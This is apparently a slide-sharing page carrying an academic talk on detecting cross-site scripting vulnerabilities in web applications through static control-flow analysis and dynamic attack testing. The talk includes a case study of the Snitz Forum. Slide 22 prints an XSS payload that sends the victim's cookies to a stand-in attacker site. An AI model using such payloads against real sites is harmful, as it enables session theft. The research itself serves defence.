Comprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA ToolComprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA Tool
Porfirio Tramontana
 
A GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application TestingA GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application Testing
Porfirio Tramontana
 
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Porfirio Tramontana
 
Considering Context Events in Event-Based Testing of Mobile Applications
Considering Context Events in Event-Based Testing of Mobile Applications Considering Context Events in Event-Based Testing of Mobile Applications
Considering Context Events in Event-Based Testing of Mobile Applications
Porfirio Tramontana
 
Using GUI Ripping for Automated Testing of Android Apps
Using GUI Ripping for Automated Testing of Android AppsUsing GUI Ripping for Automated Testing of Android Apps
Using GUI Ripping for Automated Testing of Android Apps
Porfirio Tramontana
 
A Toolset for GUI Testing of Android Applications
A Toolset for GUI Testing of Android ApplicationsA Toolset for GUI Testing of Android Applications
A Toolset for GUI Testing of Android Applications
Porfirio Tramontana
 
DynaRIA: a Tool for Ajax Web Application Comprehension
DynaRIA: a Tool for Ajax Web Application ComprehensionDynaRIA: a Tool for Ajax Web Application Comprehension
DynaRIA: a Tool for Ajax Web Application Comprehension
Porfirio Tramontana
 

More from Porfirio Tramontana (20)

An Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdfAn Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdf
 
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
 
Techniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing AutomationTechniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing Automation
 
A technique for parallel gui testing of android applications
A technique for parallel gui testing of android applicationsA technique for parallel gui testing of android applications
A technique for parallel gui testing of android applications
 
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
 
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
 
Web Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSEWeb Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSE
 
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
 
Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach
 
Reverse Engineering Web Applications
Reverse Engineering Web ApplicationsReverse Engineering Web Applications
Reverse Engineering Web Applications
 
Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications
 
Improving Usability of Web Pages for Blind
Improving Usability of Web Pages for BlindImproving Usability of Web Pages for Blind
Improving Usability of Web Pages for Blind
 
Techniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications TestingTechniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications Testing
 
Comprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA ToolComprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA Tool
 
A GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application TestingA GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application Testing
 
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
 
Considering Context Events in Event-Based Testing of Mobile Applications
Considering Context Events in Event-Based Testing of Mobile Applications Considering Context Events in Event-Based Testing of Mobile Applications
Considering Context Events in Event-Based Testing of Mobile Applications
 
Using GUI Ripping for Automated Testing of Android Apps
Using GUI Ripping for Automated Testing of Android AppsUsing GUI Ripping for Automated Testing of Android Apps
Using GUI Ripping for Automated Testing of Android Apps
 
A Toolset for GUI Testing of Android Applications
A Toolset for GUI Testing of Android ApplicationsA Toolset for GUI Testing of Android Applications
A Toolset for GUI Testing of Android Applications
 
DynaRIA: a Tool for Ajax Web Application Comprehension
DynaRIA: a Tool for Ajax Web Application ComprehensionDynaRIA: a Tool for Ajax Web Application Comprehension
DynaRIA: a Tool for Ajax Web Application Comprehension
 

Recently uploaded

みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
名前 です男
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
kumardaparthi1024
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
Wouter Lemaire
 
Recommendation System using RAG Architecture
Recommendation System using RAG ArchitectureRecommendation System using RAG Architecture
Recommendation System using RAG Architecture
fredae14
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
akankshawande
 
AI 101: An Introduction to the Basics and Impact of Artificial Intelligence
AI 101: An Introduction to the Basics and Impact of Artificial IntelligenceAI 101: An Introduction to the Basics and Impact of Artificial Intelligence
AI 101: An Introduction to the Basics and Impact of Artificial Intelligence
IndexBug
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
Hiroshi SHIBATA
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
Ivanti
 
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Jeffrey Haguewood
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Wask
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
SitimaJohn
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
How to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For FlutterHow to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For Flutter
Daiki Mogmet Ito
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Malak Abu Hammad
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
Jason Packer
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
Pixlogix Infotech
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
Octavian Nadolu
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
danishmna97
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
Tatiana Kojar
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc
 

Recently uploaded (20)

みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
 
Recommendation System using RAG Architecture
Recommendation System using RAG ArchitectureRecommendation System using RAG Architecture
Recommendation System using RAG Architecture
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
 
AI 101: An Introduction to the Basics and Impact of Artificial Intelligence
AI 101: An Introduction to the Basics and Impact of Artificial IntelligenceAI 101: An Introduction to the Basics and Impact of Artificial Intelligence
AI 101: An Introduction to the Basics and Impact of Artificial Intelligence
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
 
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
How to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For FlutterHow to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For Flutter
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
 
TrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc Webinar - 2024 Global Privacy Survey
TrustArc Webinar - 2024 Global Privacy Survey
 

Identifying Cross Site Scripting Vulnerabilities in Web Applications

  • 1. Identifying Cross Site Scripting Vulnerabilities in Web Applications P. Tramontana, A.R. Fasolino Dipartimento di Informatica e Sistemistica University of Naples Federico II, Italy G.A. Di Lucca RCOST – Research Centre on Software Technology University of Sannio, Benevento, Italy M. Mastroianni Second University of Naples, Italy 1
  • 2. The problem of Internet security and privacy  Security and privacy are fundamental requirements for Web Applications  75% of the malicious attacks on the Web occur at the application level (Gartner Group)  As more complex and automated Web Applications arise so does the probability of creating security loopholes. 2
  • 3. The problem of Internet security and privacy  Security and privacy are usually guaranteed by:  specific security systems (such as firewalls, or Intrusion Detection Systems) and software (such as antivirus or encryption software)  organisational changes to business processes finalised to improve security  But developers do not build security into their applications, based upon the false assumption that another area of security will cover it 3
  • 4. Cross Site Scripting (XSS) Cross-Site Scripting attack: A client executes a page containing script code that has been injected from other sources How can a malicious user perform a Cross Site Scripting attack? 4
  • 5. First scenario  Web Application implementing Malicious user a Guestbook Malicious Input Page code  Malicious user inserting a message, containing script code  The script code is stored into DB table DB Storage Page the database  A victim open the Message page  Since no checks are Victim performed, the script code is sent to the browser as a message Guestbook Page  The browser executes the 5
  • 6. Second scenario  A Simple Search form Victim  The victim unconsciously execute a link containing a malicious script code  Simple Search server page write an error message…  … but this error message contains the script code, that is executed by the browser Malicious code 6
  • 7. Key factors of XSS vulnerability  the exploits are very simple to carry out, and no particular application knowledge or skill are required;  the attacks may bypass perimeter defences (e.g. Firewalls), cryptography, digital signatures and site trusting;  it may be very difficult for the victim to know which web application allowed the XSS attack;  it may be very difficult for the developer to know which element of the web application allowed the XSS attack;  evolution of hypertextual language characteristics and browser capabilities may make it possible new attack strategies and make vulnerable a web application which was considered invulnerable. 7
  • 8. Possible solutions  To disable scripting language interpretation in browsers  To install of a software proxy which intercepts malicious strings in input and/or output (Scott and Sharp, 2002)  To introduce an input validation function immediately after every input statement contained in a Web page  To adopt this solution detection of vulnerabilities in source server script code is needed 8
  • 9. Detection and assessment of XSS vulnerabilities Static and dynamic analysis of server pages are combined to detect and assess XSS vulnerabilities:  Static analysis detects vulnerable pages and potentially vulnerable pages  Dynamic analysis consists in the execution of a set of test cases reproducing XSS attacks 9
  • 10. Potential vulnerability of a server page  A server page will be potentially XSS vulnerable if there are a variable v and two Input(v) and Output(v) nodes that are connected by a path on the CFG. nI <% nI ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message ‘Check for string “script” in Message 2 2 if instr(1,Message,“script")>0 then Message 3 response.write(“Forbidden”) … 4 else 3 . . . open DB connection . . . 10 Output 8 rs.open "Guestbook",conn,1,2,2 Message ‘Store Message into the DB … 9 rs.Addnew 10 rs("Message")=Message nF 11 rs.update nF end if %> 10
  • 11. Vulnerability of a server page  A server page will be vulnerable if there are a variable v, and two Input(v) and Output(v) nodes, such that all the paths on the CFG leaving the Input(v) node reach the Output(v) node, being def-clear with respect to v. nI nI <% ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 Message … ‘Store Message into the DB 6 rs.Addnew 7 rs("Message")=Message Output 8 rs.update 7 Message nF %> … nF 11
  • 12. Invulnerability of a server pages  A server page including an input data item that does not affect any output will be certainly invulnerable with respect to that input. nI nI <% ‘Read Message from input form Input Message 1 Message=request.form("txtMessage") 1 . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 … ‘Store a constant string into the DB 6 rs.Addnew 7 rs("Message")=“One message received” nF 8 rs.update nF %> 12
  • 13. Vulnerability conditions Vulnerability predicates:  A(v): There exists a path on the CFG between I and O nodes.  B(v): The O node postdominates I node.  C(v): Each path between I node and O node is a def-clear-path (obviously, B(v)=>A(v) and C(v)=>A(v) ) Vulnerability conditions:  PV) ∃v ∈ P: A(v) => P is potentially vulnerable with respect to v => P is potentially vulnerable  V) ∃v ∈ P: B(v) AND C(v) => P is vulnerable with respect to v => P is vulnerable  NV) ∃v ∈ P: NOT(A(v)) => P is not vulnerable with respect to v 13
  • 14. Examples (1) nI <% nI ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message ‘Check for string “script” in Message 2 2 if instr(1,Message,“script")>0 then Message 3 response.write(“Forbidden”) … 4 else 3 . . . open DB connection . . . 10 Output 8 rs.open "Guestbook",conn,1,2,2 Message ‘Store Message into the DB … 9 rs.Addnew 10 rs("Message")=Message nF 11 rs.update The server page nF end if is potentially %> vulnerable with Predicate values Condition Input variable respect to the A B C V P NV   variable Message T F T F T F Message 14
  • 15. Examples (2) nI nI <% ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 Message … ‘Store Message into the DB 6 rs.Addnew 7 rs("Message")=Message Output 8 rs.update 7 Message nF %> … The server page is vulnerable with nF respect to the Predicate values Condition Input variable variable Message A B C V P NV   T T T T T F Message 15
  • 16. Examples (3) nI nI <% ‘Read Message from input form Input Message 1 Message=request.form("txtMessage") 1 . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 … ‘Store a constant string into the DB 6 rs.Addnew 7 rs("Message")=“One message received” nF 8 rs.update nF %> Predicate values Condition Input variable The server page A B C V P NV   is not vulnerable F F F F F T Message 16
  • 17. Static analysis 1. Identify the input and output nodes of the CFG of the page P; 2. Identify all paths leaving the input nodes on the CFG; 3. For each path leaving an input(v) node and reaching an output(v) node, verify if the path is def-clear with respect to v; 4. Evaluates A, B, and C predicates’ values with respect to v; 5. Evaluate the vulnerability of page P, by the PV, NV, and V conditions. With reference to the second step of this process, in order to cope with the complexity of identifying all paths leaving the input nodes on the CFG, the analysis can be limited to a set of linearly independent paths extracted from the CFG. 17
  • 18. Dynamic analysis  Tthe presence of a vulnerable page doesn’t imply that a XSS attack can be performed. To assess if a Web Application is actually vulnerable to XSS attacks, dynamic analysis may be performed.  A vulnerability should be corrected and eliminated by the developer. The semantic of the source code of pages containing potential vulnerability should be analysed by the developer.  A testing strategy involving the execution of a set of attack test cases must be followed 18
  • 19. Testing strategy (second scenario) FOR EACH vulnerable or potentially vulnerable page P of the Web Application FOR EACH input field I of page P causing vulnerability Define a set S of XSS attack strings FOR EACH s ∈ S EXECUTE server page P with input field I=s Check for attack consequences 19
  • 20. Testing strategy (first scenario) FOR EACH vulnerable or potentially vulnerable page P of the Web Application FOR EACH input field I of page P causing vulnerability Define a set S of XSS attack strings FOR EACH s ∈ S EXECUTE server page P with input field I= s FOR EACH test case T from the test suite EXECUTE test case T Check for attack consequences 20
  • 21. Case study  Real world open source Web Applications implemented in PHP and ASP has been analysed  An example: Snitz Forum, version 3.4.03 ( http://forum.snitz.com)  Vulnerability situations has been detected using static analysis  A vulnerability to XSS attacks of the second type has been confirmed by dynamic analysis 21
  • 22. An example An example of vulnerability is contained in the following source code: Response.Write “<input type=""text"" name=""Search"" size=""40"" value=""" & Request.QueryString("Search") & """><br />" & vbNewLine This line of search.asp page contains a vulnerability: the value of an input variable (Search) will be sent to the client browser with no checks. The following test case perform a XSS attack redirecting Client Cookie values to a page of attacker’s server : “><script>location.URL=‘http://www.attackersite.com/atta cker.cgi?’ + document.cookie) </script> 22
  • 23. An example This vulnerability is also reported by Bugtraq web sites ( http://www.securityfocus.com, http://msgs.securepoint.com/bugtraq/) and it has been corrected in the next version (3.4.04) of the forum Response.Write ” "<td bgColor=""" & strPopUpTableColor & """ align=""left"" valign=""middle""> <input type=""text"" name=""Search"" size=""40"" value=""" & trim(ChkString(Request.QueryString("Search"),"display")) & """><br />" & vbNewLine & _ 23
  • 24. Conclusions  A WA should be intrinsically secure, by adopting secure programming practices, in order to preserve its invulnerability as the execution environment changes.  This paper proposed an approach for assessing the XSS vulnerability of an existing WA based on static and dynamic analysis of source code: Static analysis criteria have been defined to individuate vulnerable Web pages, while dynamic analysis strategies have been proposed to test the actual vulnerability of the Web Application including the vulnerable pages. 24
  • 25. Future works  To support static analysis with automatic tools  To integrate dynamic analysis with test case execution tools  To assess the effectiveness of the approach with a wider set of applications 25